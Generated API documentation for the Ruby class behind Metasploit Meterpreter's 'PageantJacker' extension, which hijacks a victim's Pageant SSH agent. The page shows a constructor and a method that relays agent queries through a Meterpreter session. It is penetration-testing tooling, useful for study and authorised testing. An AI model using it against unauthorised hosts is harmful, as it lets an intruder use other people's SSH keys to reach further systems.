class Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant

PageantJacker extension - Hijack and interact with Pageant

Stuart Morgan <stuart.morgan@mwrinfosecurity.com>

Attributes

client[RW]

Public Class Methods

new(client) click to toggle source
# File lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb, line 15
def initialize(client)
  @client = client
end

Public Instance Methods

forward(blob, size) click to toggle source
# File lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb, line 19
def forward(blob, size)
  return nil unless size > 0 && blob.size > 0

  packet_request = Packet.create_request('extapi_pageant_send_query')
  packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size)
  packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob)

  response = client.send_request(packet_request)
  return nil unless response

  {
    success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS),
    blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB),
    error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE)
  }
end